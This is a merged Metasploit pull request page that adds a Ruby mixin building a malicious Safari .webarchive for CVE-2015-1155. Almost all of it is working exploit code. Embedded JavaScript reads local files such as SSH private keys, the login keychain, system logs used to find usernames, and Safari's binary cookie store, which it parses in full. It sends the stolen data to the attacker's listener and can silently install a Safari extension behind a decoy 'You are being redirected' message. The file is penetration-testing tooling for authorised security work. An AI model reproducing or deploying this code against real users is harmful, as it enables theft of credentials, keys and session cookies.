Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add module for CVE-2015-1155 OS X Safari vulnerability #5593

Merged
merged 5 commits into from Jul 13, 2015
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Jump to
Jump to file
Failed to load files.
Diff view
Diff view
365 changes: 365 additions & 0 deletions lib/msf/core/format/webarchive.rb
@@ -0,0 +1,365 @@
#
# The WebArchive mixin provides methods for generating a Safari .webarchive file
# that performs a variety of malicious tasks: stealing files, cookies, and silently
# installing extensions from extensions.apple.com.
#
module Msf
module Format
module Webarchive

def initialize(info={})
super
register_options([
OptString.new("URIPATH", [false, 'The URI to use for this exploit (default is random)']),
OptString.new('FILENAME', [ true, 'The file name', 'msf.webarchive']),
OptString.new('GRABPATH', [false, "The URI to receive the UXSS'ed data", 'grab']),
OptString.new('DOWNLOAD_PATH', [ true, 'The path to download the webarchive', '/msf.webarchive']),
OptString.new('FILE_URLS', [false, 'Additional file:// URLs to steal. $USER will be resolved to the username.', '']),
OptBool.new('STEAL_COOKIES', [true, "Enable cookie stealing", true]),
OptBool.new('STEAL_FILES', [true, "Enable local file stealing", true]),
OptBool.new('INSTALL_EXTENSION', [true, "Silently install a Safari extensions (requires click)", false]),
OptString.new('EXTENSION_URL', [false, "HTTP URL of a Safari extension to install", "https://data.getadblock.com/safari/AdBlock.safariextz"]),
OptString.new('EXTENSION_ID', [false, "The ID of the Safari extension to install", "com.betafish.adblockforsafari-UAMUU4S2D9"])
], self.class)
end

### ASSEMBLE THE WEBARCHIVE XML ###

# @return [String] contents of webarchive as an XML document
def webarchive_xml
return @xml if not @xml.nil? # only compute xml once
@xml = webarchive_header
@xml << webarchive_footer
@xml
end

# @return [String] the first chunk of the webarchive file, containing the WebMainResource
def webarchive_header
%Q|
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>WebMainResource</key>
<dict>
<key>WebResourceData</key>
<data>
#{Rex::Text.encode_base64(iframes_container_html)}</data>
<key>WebResourceFrameName</key>
<string></string>
<key>WebResourceMIMEType</key>
<string>text/html</string>
<key>WebResourceTextEncodingName</key>
<string>UTF-8</string>
<key>WebResourceURL</key>
<string>file:///</string>
</dict>
<key>WebSubframeArchives</key>
<array>
|
end

# @return [String] the closing chunk of the webarchive XML code
def webarchive_footer
%Q|
</array>
</dict>
</plist>
|
end

#### JS/HTML CODE ####

# Wraps the result of the block in an HTML5 document and body
def wrap_with_doc(&blk)
%Q|
<!doctype html>
<html>
<body>
#{yield}
</body>
</html>
|
end

# Wraps the result of the block with <script> tags
def wrap_with_script(&blk)
"<script>#{yield}</script>"
end

# @return [String] mark up for embedding the iframes for each URL in a place that is
# invisible to the user
def iframes_container_html
wrap_with_doc do
injected_js_helpers + steal_files + install_extension + message
end
end

def apple_extension_url
'https://extensions.apple.com'
end

def install_extension
return '' unless datastore['INSTALL_EXTENSION']
raise "EXTENSION_URL datastore option missing" unless datastore['EXTENSION_URL'].present?
raise "EXTENSION_ID datastore option missing" unless datastore['EXTENSION_ID'].present?
wrap_with_script do
%Q|
var qq = null;
var extURL = atob('#{Rex::Text.encode_base64(datastore['EXTENSION_URL'])}');
var extID = atob('#{Rex::Text.encode_base64(datastore['EXTENSION_ID'])}');

function go(){
window.focus();
qq.open('javascript:safari&&(safari.installExtension\|\|(window.top.location.href.match(/extensions/)&&window.top.location.reload(false)))&&(safari.installExtension("'+extID+'", "'+extURL+'"), window.close());', '_self');
}
window.addEventListener('message', function(e) {
if (!qq && e.data === 'EXT') {
qq = e.source;
setInterval(go, 600);
}
});
|
end
end

# @return [String] javascript code, wrapped in a script tag, that steals local files
# and sends them back to the listener. This code is executed in the WebMainResource (parent)
# frame, which runs in the file:// protocol
def steal_files
return '' unless should_steal_files?
urls_str = (datastore['FILE_URLS'].split(/\s+/)).reject { |s| !s.include?('$USER') }.join(' ')
wrap_with_script do
%Q|
var filesStr = "#{urls_str}";
var files = filesStr.trim().split(/\s+/);
function stealFile(url) {
var req = new XMLHttpRequest();
var sent = false;
req.open('GET', url, true);
req.onreadystatechange = function() {
if (!sent && req.responseText && req.responseText.length > 0) {
sendData(url, req.responseText);
sent = true;
}
};
req.send(null);
};
files.forEach(stealFile);

| + steal_default_files
end
end

def default_files
('file:///Users/$USER/.ssh/id_rsa file:///Users/$USER/.ssh/id_rsa.pub '+
'file:///Users/$USER/Library/Keychains/login.keychain ' +
(datastore['FILE_URLS'].split(/\s+/)).select { |s| s.include?('$USER') }.join(' ')).strip
end

def steal_default_files
%Q|

try {

function xhr(url, cb, responseType) {
var x = new XMLHttpRequest;
x.onload = function() { cb(x) }
x.open('GET', url);
if (responseType) x.responseType = responseType;
x.send();
}

var files = ['/var/log/monthly.out', '/var/log/appstore.log', '/var/log/install.log'];
var done = 0;
var _u = {};

var cookies = [];
files.forEach(function(f) {
xhr(f, function(x) {
var m;
var users = [];
var pattern = /\\/Users\\/([^\\s^\\/^"]+)/g;
while ((m = pattern.exec(x.responseText)) !== null) {
if(!_u[m[1]]) { users.push(m[1]); }
_u[m[1]] = 1;
}

if (users.length) { next(users); }
});
});

var id=0;
function next(users) {
// now lets steal all the data we can!
sendData('usernames'+id, users);
id++;
users.forEach(function(user) {

if (#{datastore['STEAL_COOKIES']}) {
xhr('file:///Users/'+encodeURIComponent(user)+'/Library/Cookies/Cookies.binarycookies', function(x) {
parseBinaryFile(x.response);
}, 'arraybuffer');
}

if (#{datastore['STEAL_FILES']}) {
var files = '#{Rex::Text.encode_base64(default_files)}';
atob(files).split(/\\s+/).forEach(function(file) {
file = file.replace('$USER', encodeURIComponent(user));
xhr(file, function(x) {
sendData(file.replace('file://', ''), x.responseText);
});
});
}

});
}

function parseBinaryFile(buffer) {
var data = new DataView(buffer);

// check for MAGIC 'cook' in big endian
if (data.getUint32(0, false) != 1668247403)
throw new Error('Invalid magic at top of cookie file.')

// big endian length in next 4 bytes
var numPages = data.getUint32(4, false);
var pageSizes = [], cursor = 8;
for (var i = 0; i < numPages; i++) {
pageSizes.push(data.getUint32(cursor, false));
cursor += 4;
}

pageSizes.forEach(function(size) {
parsePage(buffer.slice(cursor, cursor + size));
cursor += size;
});

reportStolenCookies();
}

function parsePage(buffer) {
var data = new DataView(buffer);
if (data.getUint32(0, false) != 256) {
return; // invalid magic in page header
}

var numCookies = data.getUint32(4, true);
var offsets = [];
for (var i = 0; i < numCookies; i++) {
offsets.push(data.getUint32(8+i*4, true));
}

offsets.forEach(function(offset, idx) {
var next = offsets[idx+1] \|\| buffer.byteLength - 4;
try{parseCookie(buffer.slice(offset, next));}catch(e){};
});
}

function read(data, offset) {
var str = '', c = null;
try {
while ((c = data.getUint8(offset++)) != 0) {
str += String.fromCharCode(c);
}
} catch(e) {};
return str;
}

function parseCookie(buffer) {
var data = new DataView(buffer);
var size = data.getUint32(0, true);
var flags = data.getUint32(8, true);
var urlOffset = data.getUint32(16, true);
var nameOffset = data.getUint32(20, true);
var pathOffset = data.getUint32(24, true);
var valueOffset = data.getUint32(28, true);

var result = {
value: read(data, valueOffset),
path: read(data, pathOffset),
url: read(data, urlOffset),
name: read(data, nameOffset),
isSecure: flags & 1,
httpOnly: flags & 4
};

cookies.push(result);
}

function reportStolenCookies() {
if (cookies.length > 0) {
sendData('cookieDump', cookies);
}
}

} catch (e) { console.log('ERROR: '+e.message); }

|
end

# @return [String] javascript code, wrapped in script tag, that adds a helper function
# called "sendData()" that passes the arguments up to the parent frame, where it is
# sent out to the listener
def injected_js_helpers
wrap_with_script do
%Q|
window.sendData = function(key, val) {
var data = {};
data[key] = val;

var x = new XMLHttpRequest;
x.open('POST', '#{backend_url}#{collect_data_uri}', true);
x.setRequestHeader('Content-type', 'text/plain')
x.send(JSON.stringify(data));
};
|
end
end

### HELPERS ###

# @return [String] the path to send data back to
def collect_data_uri
'/' + (datastore["URIPATH"] || '').chomp('/').gsub(/^\//, '') + '/'+datastore["GRABPATH"]
end

# @return [String] formatted http/https URL of the listener
def backend_url
proto = (datastore["SSL"] ? "https" : "http")
myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
port_str = (datastore['HTTPPORT'].to_i == 80) ? '' : ":#{datastore['HTTPPORT']}"
"#{proto}://#{myhost}#{port_str}"
end

# @return [String] URL that serves the malicious webarchive
def webarchive_download_url
datastore["DOWNLOAD_PATH"]
end

# @return [String] HTML content that is rendered in the <body> of the webarchive.
def message
"<p>You are being redirected.</p>"
end

# @return [Array<String>] of URLs provided by the user
def urls
(datastore['URLS'] || '').split(/\s+/)
end

# @param [String] input the unencoded string
# @return [String] input with dangerous chars replaced with xml entities
def escape_xml(input)
input.to_s.gsub("&", "&amp;").gsub("<", "&lt;")
.gsub(">", "&gt;").gsub("'", "&apos;")
.gsub("\"", "&quot;")
end

def should_steal_files?
datastore['STEAL_FILES']
end

end
end
end